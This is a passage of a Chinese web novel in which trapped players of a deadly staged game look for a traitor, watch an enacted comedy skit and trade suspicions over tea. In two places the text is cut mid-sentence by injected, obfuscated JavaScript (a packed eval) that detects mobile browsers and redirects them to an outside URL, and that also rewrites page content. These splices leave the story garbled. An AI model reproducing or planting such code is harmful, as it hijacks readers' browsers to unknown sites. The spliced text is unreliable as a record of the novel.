他笑了笑,又说:“虽然很想跟各位摆个学长的架子,但可惜,我不是冀湖大学医学系毕业的,当年没考上。” “诶,那应先生就是警察了?”苏彦问道。 应如观回答:“我算在警察系统内。不过,一般也很少人会称呼我叫警察。” 他和气地说:“也不用叫我先生,叫我名字就好了。我也不比你们长一辈。” 话是这么说,但直接叫名字也挺奇怪的。这时姜满也笑着说:“是呢,大家也不用太拘谨,叫我名字就成,觉得不太适应叫声姜姐也没问题。” 苏彦应了句:“好啊,那我就叫姜姐了。”曲语冰也笑嘻嘻地喊了声“姜姐”,气氛总算缓和一些。 场间安静片刻,姜满一双美目瞄向应如观,说:“那就只有你一个不是冀湖市的了。” 舒觉看向应如观。他看上去仍然镇定,并不因姜满的话动容。即使她是在隐晦地将他分割成另一个类别——也许就是不可信任的类别。 或许是她想多,但会这么想的一定不会只有她一个。 现在,“编剧”的存在,必定会成为横亘在每个人之间的一根硬刺,难以拔除。 “姜小姐在冀湖市工作么?”应如观回问她。 姜满笑笑,交叠的双腿放下,“是。不是什么大企业,说了大家应该也不知道。” 一时间没人再讲话。最后是姜满先伸了个懒腰,站起来。“待在这里也没别的用,我就先上去睡了。上了一天班,还被抓到这种地方来,真是累死了。” 她一边说,一边摇着头,踩着高跟鞋上楼去了。余下众人也纷纷散开,大部分都上楼去了,还有几个打算在客厅里探索一下,还有钻进厨房打算吃夜宵的。 舒觉暂时留着没动。她身边的人都走开了:苏彦和曲语冰摸去厨房找夜宵了。她倒是不饿,但也不怎么想就这样上楼睡了。 她总感到一些……反常?那不出于逻辑,只是某种直觉,但她的确心存疑虑。然而说不出奇怪的点在哪里。 有什么是被他们忽略掉的吗?舒觉爬梳一遍记忆,并未找到疑点。也许她应该再多想想。或者明天和别人商量一下。 她兀自沉思着,面前忽然放下一杯冒着热气的东西。女孩转头,祝时明正微微弯腰,温和地望着她。 他说:“我在厨房找到了这个,也许……” 舒觉看向杯子里,深色液体中间沉浮几粒姜色,嗅觉告诉她,这是红糖姜茶。 她不由对他笑了下,“谢谢。我喜欢这个。” 他点点头,腿一迈,跨过她脚边坐过来。舒觉倒没有什么不舒服的感觉,他并不给她威胁感。 舒觉注视着他嘴唇。缓慢地,它动起来:“你感觉……怎么样?” 他想要听到怎样的回答?我想要给出怎样的回答? 她说:“还好。” 舒觉不清楚这是否让他满意了。他安静地凝视着她,姿态仿佛没有任何渴求。 她心中某个角落微微一动。舒觉说:“我真的还好。至少,我以为你会比我尴尬。” 她说的是刚刚演戏的桥段。祝时明仿佛现在才想起来似的,他不好意思地摸摸后脑头发,那里有一片翘了起来。“那……毕竟我们不得不这么做。” 他有这个认识,倒省去了她一个不走心的道歉。舒觉撇开视线,低头喝了一口红糖姜茶。一股暖流熨帖食道和胃,她满足地呼出一口气。 祝时明仍然没有离开。奇异的是,她不反感他一直坐在她身旁。也许他就是这样一个让人容易放下戒备的角色。 把杯中液体饮尽,舒觉站起来。“我去睡了。”她眼角一瞥,“这么晚还喝咖啡?你不会睡不着?” 祝时明愣了一下,然后才端详他被子里漆黑的浓稠液体。他喃喃说:“哦,待会儿要睡了。” 舒觉摇摇头,转身上楼了。 三号房间内。 舒觉叫道:“剧团长,我要许愿。” 她坐在桌子前,十指相扣,撑住下巴。虚空中想必传来了她熟悉到乃至憎恨的声音,她面前浮现字幕。 您有什么愿望? “我要一个语音文字转录器。就装在我手环上。你肯定能弄出这种东西吧。” 字幕没有继续滚动。舒觉只是等待,直到出现新的文字。 愿望受理。【IV型语音实时转录器】,作用:将外界人声自动转录为文字,并呈现在使用者手环光幕中,可设置“自动弹出”或“由我选择”两种模式。限制:可能识别出其他类型的声音;低于30分贝的声音无法精确转录成文字;在使用者手动进行声纹认证之前无法识别说话者。 一个小巧的零件出现在桌子上。舒觉摁了几下手环,光滑的表面弹开,露出一个凹槽。她将那个零件装了进去。 她关上灯,钻进被子里。脑海中,每一个人的面庞与词句逐一浮现,完整而清晰,正如这么多年她经过的日子。 那么,这一场游戏,就算开始了。 4. 第 4 章 今天,我开始写这本日记。 说实话,除了小学时老师布置的作业,我从来没写过日记这种东西。我没有用纸笔记录的习惯。虽说很喜欢拍照片…… 不对,跑题了。我之所以写这本日记,不是希望有人可以看到——我并不认为他会让任何人看到,毕竟,这里面可能会直接告诉看到的人所有事情。那他就没法进行那轮游戏了。 总之,我写这些东西,是因为我想要记录一些事情。一些我不想忘记的事情。我没有J的能力,只能靠这种原始的办法来提醒自己,有这些事发生过。 不知道现在外面是几号。我也不太记得结束后我在这里呆了多久,就把今天当做第一天吧。有点仪式感。 不知道他们回去之后怎么样了。下次他来找我的时候,要不问一下能不能看到那边……不过,感觉应该不太可能。 但不看的话,我不知道他是不是在骗我。 他说,他已经让所有人都忘了我。 这真有可能做得到吗? 舒觉洗漱后走出门,锁好再下楼。她换了一套新的夏装,宽松的T恤和长裤,脖子上换了一条丝绒颈带。 她来到客厅,发现开放式厨房边的餐厅只坐了一个人。曲语冰捧着一碗白粥,喝得很是满足。 他面前小碟上放着半个咸鸭蛋和榨菜丝,酱油的深色泛着油光,分外诱人。舒觉走过去,脚底芯片只感受到了自己步伐的震动,厕所的门也开着,一楼应该没有其他人了。 曲语冰一抬头,瞧见是她,便扬起张笑脸。“早啊。” “你都起了,应该不早了。”舒觉回道。她走到厨房,那里放着一只高压锅,她往里一看,还剩了不少白粥。旁边是一盒打开的生鸡蛋,曲语冰那个咸鸭蛋大概是许愿兑换来的。 不过反正最初的几天是新手保护期,所有日常用品都是免费的,他想吃满汉全席都没问题。舒觉打开底下一个柜子,里面放着一包开了封的口罩。 她看了曲语冰一眼。对方点点头,证实她的猜测。舒觉于是炒了盘鸡蛋,心安理得地舀了碗粥坐回餐桌开吃。 “这么说来,你今天起得还挺晚。”曲语冰重新提起这个话题。他放下筷子,碟子里的小菜吃得很干净。 舒觉动着勺子,把食物咽下去再回答:“昨晚熬夜了。” 曲语冰等着她后文。然而舒觉不再说话,只是享受自己的早餐,他只好靠到椅子上,等待的同时权当消食。 在舒觉舀了第二碗回来时,脚底芯片接收到楼梯上的震动。舒觉面色不变,继续埋首喝粥,而对着楼梯的曲语冰抬起头,露出个笑,懒洋洋招手,“呀,小明。” 舒觉面前弹出一个光幕,上面写着祝时明抱怨的话语:别叫我小明好吗……难道你喜欢别人叫你夏虫? 她忍住唇边一抹笑意。曲语冰挑挑眉,回他:“还真没人叫我这个。小明真有文化啊——” 祝时明走到他俩身边,听到这句话,他摇摇头,似乎是懒得再做争辩了。注意到两人的早餐,他本已向厨房抬起脚步,又生生顿住了,他问:“这个,我能吃吗?” 舒觉开口回答了他:“反正吃不完也是浪费。我已经够了。” 对于才认识第二天的人,这话说得不算很客气,不过祝时明毫无介怀的样子,他点点头,过去舀粥了。 不过,现在说什么都太早。他等着舒觉擦干净嘴,提议道:“要不我们一起出去外面逛逛?” 舒觉愣了一下,才反应过来得把祝时明也拉一起,否则太奇怪了。她说:“行啊。祝时明,你怎么说?” 把他的全名叫出来,总感觉舌头有些怪异,好像不太愿意发出这么完整的词语。舒觉压下这种感觉,她可不想和曲语冰一样叫别人“小明”。 对方显出些讶异,好像他没想过他们俩会带上他。他似乎把他们划分到同一阵营里,而他是河对面的另一个人。 不过那种神色也只是一瞬。祝时明答:“行啊。”接着他视线一扫曲语冰,表情变得微妙,想的是什么谁都能看出来。 “等会,你这样想我就太过分了吧。”曲语冰何等人精,立刻抓住这一点,“我也不至于认识第二天就对女孩子下手啊?” “我可没这么说。”他答。祝时明快速扫荡完剩下的粥,他的佐料只有酱油,不知是口味清淡还是懒得下厨。 看所有人都吃完了,祝时明便把三人的碗都收起来,放进了洗碗机,举止之自然,另外两人都没能反应过来。 还是走出宿舍后舒觉才猛然察觉,她问:“你在家里经常帮忙收拾碗筷吗?” 祝时明点点头。“我最小,所以这个活儿一般我来做。” “嗯。你有兄弟姐妹?” “我有一个哥哥和一个姐姐。” “真好啊。”曲语冰插进话来,“独生子女不懂的美好。” “也只有独生子女才会羡慕别人有哥哥姐姐。”祝时明语气有些抱怨,“每次我都要劝别人三思。基本上我只有被欺负的份儿。” 他看向舒觉,眼里带着点期待,“是吧。你也有兄弟姐妹,肯定能懂我在说什么。” 舒觉首先想的是:他什么时候知道的我有兄弟姐妹?随后她恍然。大概是刚刚她没附和曲语冰,于是祝时明便理所当然认为他们在同一边。 恰好这时曲语冰也问她:“诶,你有哥哥姐姐吗?” 舒觉微微一笑,回答:“我有不少兄弟姐妹。” 这并不是谎言。只是定义上的不同。她和曲语冰都很擅长玩这种文字游戏,因此曲语冰对这个回答也只是“我看破但不说破”的神情。 反而是祝时明露出一点吃惊的表情。但他没有问下去,保持着边界。 几个人随便聊了几句,前方出现一个小型公园。绿树成荫,灌木都被修剪成各种形状,微风拂过,清浅的香气送入鼻腔。这是一个难得清爽的夏日。 如果是在外面,她现在还在放假,应该会出门去街道上随便转转吧。毫无目的地,像一滴水那样汇入人群,仿佛她从一开始就是这座城市的一份子。 这是她想要的,也是他们想要她成为的。 就在几人暂时陷入各自思绪,享受公园内的静谧时,一声巨大的喷嚏声炸开了——曲语冰用袖口捂住鼻子,狠狠吸了两下,从口袋里掏出口罩戴上。 他自发解释:“我花粉过敏。” “走旁边小路吧。那边没花。”祝时明指指一条石板径。 三个人依此走上去,宽度有限,他们不能再像之前那样并排走,舒觉便走到了两个人前面,留给男生们勾肩搭背的空间。 虽说祝时明并不是那么热情的性子,但架不住曲语冰自来熟得相当吓人。舒觉不用回头都知道他必定在动手动脚,因为她面前弹出的光幕已经开始转播—— 曲语冰:嗨小明,你对舒觉有意思对吧? 祝时明:什、等、哈?你—— 曲语冰:别见外嘛,我会帮你的。她应该很难追,但现在你没什么竞争对手,我觉得你很有希望!你看,大家朝夕相处,共处一室,想要发生点什么当然……对吧? 祝时明的名字后出现一长串代表沉默的省略号。接着光幕显示:你为什么会这么说? 曲语冰:嗯? 祝时明:说我喜欢她。 曲语冰:你昨天脸红得超明显,你真不知道吗? 祝时明又沉默了很长一串。随后他说:你被靠得那么近试试。我看你脸红不脸红。 祝时明:算了,别说这些傻话了。你再讲下去,我觉得舒觉不一定听不到。 曲语冰:嗨,她肯定听不到,放心啦—— “你俩背着我嘀嘀咕咕什么呢?”舒觉猝然转身,唇角盈起,看向他们。两个男生都显然被吓了一跳,至少祝时明可疑地耳朵红了。 曲语冰则举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364941|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起双手,故作无辜地说:“什么?我们没讲什么啊,在问他医学生的悲惨历史呢,对吧小明?” “啊,嗯。”祝时明慢半拍回应。显而易见不是这么一回事。但舒觉耸耸肩,没有揭穿。 绕出这座公园,密匝匝的林子退去,眼前骤然开朗,是一条商业街。两侧店铺琳琅,接近正午时分,基本都大门敞着,一丝丝冷气顺着小腿爬上来。 “我想吃个雪糕。你们要吗?”曲语冰手指一辆小推车。其余两人都没有意见,虽说清风徐徐,但温度也不算低,走了这么久,他们都有些燥了。 舒觉用手在脖子边扇扇风,目送着曲语冰走远:他极有自信地担保可以两手拿三个蛋筒,于是就独自前去了。 一旁,祝时明忽然说:“你戴着颈带啊。”紧接着他露出点惊愕。仿佛这句话是脱口而出,并不受他控制。 “是啊。”舒觉随口答道。祝时明点点头,似乎有点紧张。也许是单独和她相处,不知道该说什么。 不得不承认,曲语冰是个强力的气氛调节剂,有他在的地方,场面基本不可能尴尬。 就在她考虑是否需要说点什么时,对方忽然轻声说:“邱容很早就去世了。” 舒觉飞快瞟了他一眼,又垂下眼睫,声音淡淡:“什么?” “昨天被处刑的那个人,早就去世了。”祝时明嘴唇慢慢动着,舒觉注意着他的口型,“毕竟她很出名,粉丝专门给她办了个追悼会。我在进来之前有在网上刷到。” “也许只是失踪时间过长,被默认为过世了。” “不是。警方发现了她的尸体,才确认的死亡。”祝时明双手插在口袋里,他还是穿着昨晚那件灰色针织衫,绒边滚着一圈灿白的光。 “所以,昨晚的处刑只是一场表演。”舒觉说。她作出思考的神态,祝时明观察着她,斟酌词句:“至少我认为,已经死了的人应该没法再死一遍。” “不过她进过这个剧团应该是真的。”毕竟穷奇没必要撒谎骗他们。演员们的命都掌控在剧团手上,深网剧场也早已作出必定诚实的承诺。 祝时明点点头,“大概是因为她够出名,你们都还能记得她,所以把她选出来杀鸡儆猴。” “可能性很大。”舒觉赞同了他的看法。 随后她又沉思起来。那么,出现在这里的“邱容”又是谁呢?或者说,她是什么东西?只是VR技术的呈现?也许是这样。现阶段虚拟现实技术足以达成这种效果。 她兀自思考着,直到面前弹出一个光幕:我回来了—— 只见曲语冰缓步走来,一只手是绿色蛋筒,另一只手里夹了一个白的和一个粉的。甚至都没问要怎么分配,他径直把白的递给舒觉,粉的递给祝时明,自己咬了一口绿的。 舒觉舔了一口,是原味奶油。祝时明有点无奈地说:“为什么是草莓……” 曲语冰满足地咽下一口雪糕,答道:“因为我觉得你会喜欢这个口味!怎么样,试一口?” 祝时明慢慢舔了一口。很快,他又咬下一块。曲语冰得意地笑起来。舒觉摇摇头,随他们去了。 “你那个是什么味?”她问曲语冰。 “开心果。你要试一下吗?”说着,对方直接把蛋筒递过来。 舒觉眉毛飞快皱了一下,头稍往后仰,“不了。我不喜欢开心果。” “唾液交换会增大疾病传播的风险。我劝你别和别人分享雪糕。”祝时明一边吃自己的冰淇淋,一边凉凉来了句。 “不愧是医学生,意识真强啊——”曲语冰毫不在意,就在他要继续不着调时,轻微“嘀”的一声响起,在他们中间交叠。 舒觉立刻抬起手环。光幕弹出,上面写着: 【演绎开始。】 【剧目:这门亲事我不同意!】 【演员甲:苏帆屿】 【演员乙:乔木】 【演员丙:洛珠】 5. 第 5 章 嗒嗒。“云嵩市年度十大杰出医生名单”。 曲语冰的手指点在鼠标上。不是这个。 嗒嗒。“知名作家近日召开记者招待会”。 他皱起眉头。不是这个。 嗒嗒。嗒嗒。嗒嗒。 不是。不是。不是。 全都对不上。 曲语冰抓起水杯喝了一口营养剂。他登入某个网站,输入一串特殊代码。 一份名单在他面前屏幕展开。他快速进行筛选,滑到计算机系,调到他自己同年一级。从“A”开始,来到—— 他发现了他想找到的名字。没想到她还真没骗他们。 这算什么,聪明反被聪明误吗。曲语冰在心中自嘲一声,点开了那个名字。 跳出的窗口显示她的个人资料。曲语冰在手环上输入联系号码,空号。他倒没恼火,他自己在学籍资料上留的也是假号码。 但至少,这是个线索。他沉思着,缩小窗口,又查了一下,拨通一个号码。 “您好,是计算机系辅导员杜舟先生吗?我有一份资料需要舒觉同学签字,请问您有她的联系方式吗?” 光幕展开,显出的布景是一处商业街——不是他们所处的这条。看起来是现代背景,这种剧目一般都比较安全。 “看起来是青春恋爱喜剧呢。”曲语冰评价,“毕竟选的三个都是大学生。” 随着他的声音,画面开始流动,演绎开始了。 【一家精品店内,身着白裙的女孩正在挑选商品】 洛珠看上去有些焦躁不安。尽管她努力将注意力集中在手头动作上,但左右飘忽的眼神和指向侧方的脚尖都显出她的心绪不宁。 她踮起脚尖,去够最上面的饰物。就在她拼命抻直指尖时,另一只手从后面伸来,帮她摘下了那个小玩意。 镜头随着洛珠转身而转向。她努力扬出笑容,但还是带着本色的怯生生和紧张,“陈子琛!” 靓丽的红发冲入视野。饰演“陈子琛”的乔木垂低视线,道:“嗯。” 接着他递出那个小饰品。“给。” 看到这里,曲语冰没忍住,哧的一声笑了出来。舒觉当然知道他在笑什么。这笑点全在乔木的动作上。 虽说是递东西——对方戏里的身份还是他的女朋友——但他只捏住了头部,露出极多下面的部分,明显就是不想有任何肢体接触。说夸张点,几乎像是在嫌弃要碰到别人。 “他是有洁癖吗?居然还戴了口罩。”曲语冰吐槽道,舒觉配合地应了一声:“感觉像。” 乔木几乎是把那个东西丢到了洛珠手心。随后他转身,“走吧。” 洛珠亦步亦趋跟上,两人来到人山人海的街中央,乔木勾了勾口罩上沿,调整到更合适的位置。 两个人虽然是情侣,但相隔距离更像是陌生人。即使是在演戏,他们也都完全没进入角色,只是原本人设就比较贴合本人,才没有显得太奇怪。 一路均是沉默不语。两人更像是匆匆赶路的背包客。就在看客感到无聊的时刻,第三个人终于出场。 “令令!”明快的声音冲破人潮,苏帆屿闪亮登场,一步跨入,正好挡在洛珠面前。 他笑容满面,看上去相当自然,“来这边玩怎么不和哥哥说?” “啊……哥哥!”洛珠愣了一下,赶快反应过来念台词。比起冷淡的乔木,她面对苏帆屿要更放松些,“你怎么在这里?” “嗯?我大学就在这边啊。你不记得了吗?没事,刚好碰上了,我们去吃个饭?”说着,苏帆屿动作流畅地握住洛珠手腕,要将她牵走。 “啊,哥哥,那个——”洛珠继续念着台词,脸上努力表现出被意外打乱计划的慌张。但更多的还是第一回被拉入演戏的不知所措。 一只手插入画面中间,虚浮在另两人交叠的手上。镜头上移,露出乔木那张面无表情的脸,“不好意思,你要把我女朋友带去哪里?” 苏帆屿迷惑地眨眨眼睛。他视线缓缓移动,定格在乔木脸上。“啥?” “呃,哥哥,这是我男朋友,陈子琛;阿琛,这是我哥哥,唐期。” 全场沉默三秒。而后乔木缓缓开口,口罩后的表情捉摸不透,“不用。我认识他。” 苏帆屿犹如五雷轰顶,整个人魂儿都给劈出去了,他颤抖地刺出一根手指,对准乔木。“你、你、你……” “我把你当兄弟,你小子却泡了我妹?” 他退后几步,捶胸顿足,原地大叫出声。 “不行!这门亲事我不同意!” 演绎结束。曲语冰笑得很大声,舒觉关上转播,和乔木一般面瘫脸,“别笑了。” 转头一看,祝时明也在嘴角抽动。舒觉不管了,她等着他们笑完,开始在脑中回放影像,进行分析。 洛珠表现得相当正常。即使有她和祝时明作前科,普通人第一次被拉入演戏也大概率会无所适从,往往本色出演。洛珠就是很典型的例子:现实中碰到相同情况,她也大概会有类似反应。 相较之下,苏帆屿简直堪称影帝。动作、念白、神情均是生动自如,大概也有这个角色贴合性格的缘故,但本人适应能力良好也相当关键。反观另外两位,就做不到他这样自洽。 乔木……乔木就那样吧。他的洁癖有那么严重吗?那和这么多人住在一起,岂不是没两天就得崩溃了。 不过这也不归她管。舒觉说:“笑完了吗?” “笑完了、笑完了。”曲语冰应她,“没想到苏帆屿演技这么好,是吧?” 他倒是一语中的。祝时明答:“的确,不过他本来就是这种性格吧。要他是哥哥,估计也会是妹控。” “他不是吗?”曲语冰挑了下眉。 “不是。”祝时明顿了一下,补充一句,“我昨晚和他聊到了。他没有妹妹。” 插曲结束后,三人继续往前走。转过商业街,前面出现一座巨大的图书馆,造型恰如一本打开的书。书脊的位置是全透明的电梯,左右两馆都可以通行。 “宿舍楼、小公园、商业街、图书馆。”曲语冰掰着指头,自言自语,“你们不觉得这很像某个地方吗?” 舒觉有点困惑地看着他。祝时明点点头,说:“学校。” “没错!”曲语冰打了个响指,“虽然路线全部被简化了,但配置和某个大学几乎一模一样,除了少掉几栋行政楼和教学楼。而且这个图书馆,你们真没觉得眼熟吗?明明我们是校友?” 这下,就是舒觉也知道他要说什么了。冀湖大学的图书馆正是这个造型,还拿过什么建筑设计奖,在冀湖市相当出名。她说:“和我们学校很像。” 忽略掉曲语冰意味深长的眼神,她继续往下说:“剧团把这里设计成这样。为什么?” 这个问 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片刻沉默。直到她面前光幕弹出祝时明的话语:是的。……你怎么知道的? 舒觉微微一愣。为什么会问这个问题? 但她还是编出个理由:“我去自习过嘛。期末周难找位置,特意记了一下。” 这样说总不会出错。她揣摩对方表情,一片黯影如云飘过,再仔细看却是灯光的错位,他一如往常。 祝时明也不再问其他问题,他说:“也是。” “我倒没看出有什么不同。”曲语冰打量着一楼的布局。 舒觉轻飘飘地说:“那是因为你不怎么去图书馆吧。” 曲语冰笑笑,没有否认。 几个人商量了一下,决定分别去不同楼层探索。祝时明走到电梯门口,却不知为何停滞不动。他注视着电梯按钮,似乎是在思考着什么。 “怎么了?”舒觉走近,看了一眼,并没有发现什么特别。她随意一摁按钮,数字屏上显示1楼,门开,她走进去。 祝时明眼睛圆睁,看上去相当不可思议,他看看舒觉,又看看电梯四壁,好像这其中有什么高深的关联。 幸好他这状态也没持续多久,很快祝时明就走进来,等着被一本书迷住的曲语冰。后者匆匆赶来,在看到站在其中的舒觉时,他眨了下眼睛,嘴角闪过一丝明悟的笑意。 舒觉并未错过这个表情。她在心中啧了一声,微妙地觉得自己被看轻了,但现在也不是计较这个的时候。 电梯来到标着“I—K类”的四楼,只有舒觉走出去。其余两人在下两层,看看有什么值得留意的东西。 在一排排小说中走着,她目光随意扫过书名,总感觉像是几十年前的东西。随手抽出一本,翻到编目页,出版年份显示是四十年前。 他们之前似乎并未探究过这个问题。舒觉扬声道:“后台。图书馆里的出版物最新到几年前?” 光幕:三号响应。图书馆内出版物最新为三十五年前出版。 “非出版物是否存在近五年的物品?” 存在。 那么,那个东西应该还在。正当舒觉考虑是否去查看一番时,手环上弹出消息提示。是曲语冰。 祝时明被拉走去演戏了。品茗室? 舒觉只回复了一个字:走。 6. 第 6 章 看着面前的招牌,曲语冰点开手环信息,确定自己没走错。他可不想费两番功夫。 这一整栋楼都是律所的办公场所。建筑是现代化的设计,招牌却是一块上好的木匾,上书“诚廉律所”龙飞凤舞四个大字。 他径直走进去,微笑着对前台说:“您好,我找安丽廉律师。” “找安律师需要预约。先生贵姓?”前台女孩打开一片光幕,准备查找。 “姓曲。” “什么事?” “冀湖大学,有舒觉女士的文件需要咨询。他们告诉我找安丽廉律师。没错吧?” 他注意到前台的动作一顿。接着,对方像什么都没发生过一样,拨出一个电话。 等待期间,曲语冰注意到一边墙上挂着的相片。两个女人手捧开业执照,就在这栋楼前合的影。 显然左边那个是安丽廉。女人面容具有明显的混血特征,斜眉飞挑入鬓,浅褐色发丝一根不乱,鼻梁高挺,浅色眼影和亮面口红,整个人看上去像把利落而美艳的刀,足以切断顾客的所有烦恼。 曲语冰知道她有多成功。外国知名学府法律系高材生,归国后年纪轻轻就拿下好几个高难案子,如今不到四十岁就开了自己的律所,发展得如火如荼,就算是在整个冀湖市里都能排得上号。怎么看都能称赞一声人生赢家。 这些都无所谓。重点是,舒觉为何要选择这样一间私人律所作为她的法务代理?他不觉得这两人有什么血缘关系。 安丽廉的专擅领域是妇女权益,她好几个知名案子都是这方面的。是看中了这点吗?但她才二十岁不到。有什么特殊原因需要进行对自己的权益维护? 曲语冰陷入思考。不多时,前台说:“安律师在四楼。第一个房间。” 曲语冰道谢后上楼。果然,舒觉和这个地方不是一般的雇佣关系。 他根本就没预约。 图书馆M层,挂着“品茗室”的牌子下,液晶屏显示着使用中。 舒觉说:“幕后,图书馆品茗室是否完全不可被任何人监视或监听?” 光幕:是的。不论是剧团方还是观众,都无法进行观察。 曲语冰接口:“幕后,演员‘舒觉’与演员‘曲语冰’位于的封闭式房间内是否完全保密,动作与声音均不可被记录和监察?” 光幕:是的。【图书馆品茗室】为完全私密空间,不可被任何仪器或活物观察。 确认完毕,两人才相对坐下。这是他们在上一轮发现的特殊规则:有一些空间可以屏蔽所有外界干扰和观察,演员自不必说,甚至不知是谁的“观众”也不能侵入。 他们中间是一方小几,其上茶盘茶具一应俱全,几枚精致小杯倒扣其上,一旁的小壶内正在烧水。两人之间,唯有水迈至沸腾的滋滋作响。 少顷,曲语冰取下小壶,姿势娴熟地冲洗茶杯,用镊子夹起一个个摆好。等全部过了一遍水,他才将一撮茶叶送至壶内,再度灌满水,等待煮沸。 尽管不是第一次看这般流程,但舒觉还是好奇对方是从哪里学到的。她问起过两次,但曲语冰都转开了话题,她只能将此归于他家教优异。 “虽然有点晚,恭喜你克服了幽闭恐惧。”用状似无意的语调,曲语冰以此为开头。 “早了。”舒觉直白地回答,“还没有完全搞定。” 他抬眼,知趣地没有追问,转而向另一个话题:“规则居然改了。原来根本没有告诉我们有背叛者。” “我们可能是特例,不过不能确定。”舒觉说,“我搜集了网络上能找到的所有的演绎片段,没有哪一个能看出穷奇有提示过演员中存在背叛者。更别提找出此人就能返回现实世界这条规则。” 曲语冰看她一眼,目光奇异。“所有的?” “我是专业的。”舒觉耸耸肩。 曲语冰选择相信她的能力。他继续讲出自己的观点:“既然这条都改了,大概率之后也会有规则变动。不过,昨晚我问了一下幕后,我们上一轮大部分规则都没改,至少是我记得比较重要的那些,都还能用。” 舒觉沉思了一下,问:“和计划相关的那几条?” “都没问题。” “那就还是按照原定走。我争取先把‘静默教堂’开了,然后有条件就开‘不眠夜’。” 曲语冰无需表示赞成。这些早就是他们在原来世界里讨论过无数遍、但从未留下任何记录的东西。 “说到规则,我感觉哪里有点不对。”舒觉忽然想起那种违和感,“你有觉得吗?” 他摇摇头。就在谈话间隙,茶好了,曲语冰拎起茶壶把手,向三只杯子里注入深色茶水。舒觉瞟了一眼,说:“就我们俩。” 曲语冰夹起第三只杯子,倒去滚茶。他提醒了一句:“小心烫。” 舒觉还在想着穷奇说过的话,越想越感到心中疑窦在放大。那些话和他们上一轮进来的时候不差分毫,这点她的记忆可以保证,但她的直觉在鸣着警报。 她让曲语冰注意听,将昨晚穷奇说的话一字不差地背诵出来。在对方的要求下又重复了两遍。然而背着背着她又觉得似乎没什么问题。 找出编剧,回到现实。上一轮他们也是这样做的,因而回到了自己原本的生活,难道不是吗? 然而曲语冰手指无意识地轻轻敲击茶盘,他说:“不知道哪里不对,但就是不对。” “和你之前说的那种感觉一样吗?” “不太一样。之前那种是……缺少了什么东西的感觉,现在这个,唔,更像有什么变化了?” 舒觉叹了口气。这么模糊的直觉没办法作为证据。但既然两人都有同感,那大概就不仅仅只是错觉了。 她将这点在心中记下。曲语冰笑道:“超忆症还真方便啊,学法和学医的都得羡慕死。有这样的天赋是种什么感觉?” 有这样的“天赋”是种什么感觉? “要记的记得住,想忘的忘不了。”舒觉说。 对面,曲语冰捏起杯沿,将茶水一饮而尽。而后,他吁出一口气,发问:“所以,明明没有任何提示说有这样的规则,你上一轮是怎么找到那个叛徒的?” 舒觉拿茶杯的手顿住了。“有提示。只是那个提示……你们不会懂。” 她握起茶杯,像是感知不到手指的灼烫,“至于找出他,那根本不难。那一轮的叛徒根本没想过要隐藏。” “毕竟也没说过有叛徒这回事。当时大家都觉得应该团结起来,一起想办法出去。”曲语冰说,“根本没有想到,我们中间还有个以我们为乐的……叛徒。” 舒觉双目微微阖上,仿佛在品味口中茶香。“所以这一轮,我们要面临的问题不只是找出那个幕后凶手,还要处理彼此间的猜忌,难度不知上升多少。更别提那些该死的剧本……” “没办法,船到桥头自然直吧。”曲语冰宽慰她,舒觉看他一眼,眸光如碎冰,幸而并非利剑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364943|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “对于其他演员,你是怎么想的?”舒觉问他。在他人眼中,曲语冰或许只是个因年轻而愚蠢的轻浮青年,但她清楚,他向来平静愉快的目光通透至极,直照旁人内心深深。 “有人在撒谎。” “我也觉得。” 曲语冰手指沾起残水,写下一个“姜”字。对面,舒觉默不作声地点点头。那点水渍很快挥发而去。 她说:“她不只是上班族。至少,她会用枪,还时常练习。” “有枪倒不是完全不合法,有持枪证和射击资格证就行。不过,在冀湖市比较少吧。”曲语冰立刻调动他的法律知识库,“我记得之前看到一个报告,两者都有且非军、警的人数还不到三百个。” “要么她是其中之一,要么她不是冀湖市的,要么她是警察或者军人。”舒觉清楚地吐出她的判断,“从概率学来看,她撒谎的可能性很大。” 曲语冰点点头,“就算她是那三百个人好了。我想,她可能不叫这个名字。” 舒觉眼神露出些吃惊。曲语冰说:“她衣服下摆绣了字母。” 他在小几上写了“JX”两个字符。“那不是品牌标识。作为一种标记,名字缩写是最有可能的。” 姜满。姓氏倒能算对上了,不过后面显然不是。就在舒觉思索的当口,曲语冰气定神闲又冲出一壶茶,一面倒着,一面说:“还有,不管她是什么职业,都不可能只是个‘普通’的上班族。” “她那件衬衫,是私人订制,价格一般在这个数。”他伸出几根手指。舒觉促狭道:“你这后面是要跟着几个零啊。” “这就是零的个数。”曲语冰说,以一种风轻云淡的语气。舒觉“呃”了一声,多少觉得,她和有钱人中间果然还是隔了一层可悲的厚障壁。 “开头就说谎,真是相当可疑啊。”曲语冰轻快地说,这让他听起来并不是真心这么想。 舒觉继续享受对方的冲茶倒茶服务,闻言道:“算是吧,不过这只能说明她很谨慎。” “不过,我猜她应该和我们一样,是主动进来的。”舒觉想起昨晚姜满镇定自若的表现。在邱容被断骨剥皮的时刻,她也只是瞳孔少许放大,却是面不改色。 “通过投资方?” “不知道,我只是在讲主观意愿。”她“啊”了一声,“你提醒我了。” 曲语冰竖起耳朵。“实际上,我不知道我们是不是通过投资方这条渠道进来的。” 曲语冰说:“啊?” “我是去找了人,她答应想办法,但最后进来也没有任何提示……和上一轮没区别。所以,我也不清楚我们是怎么进来的。” “如果我们没有收到提示,很可能就有其他投资方塞进来的人。”曲语冰说。 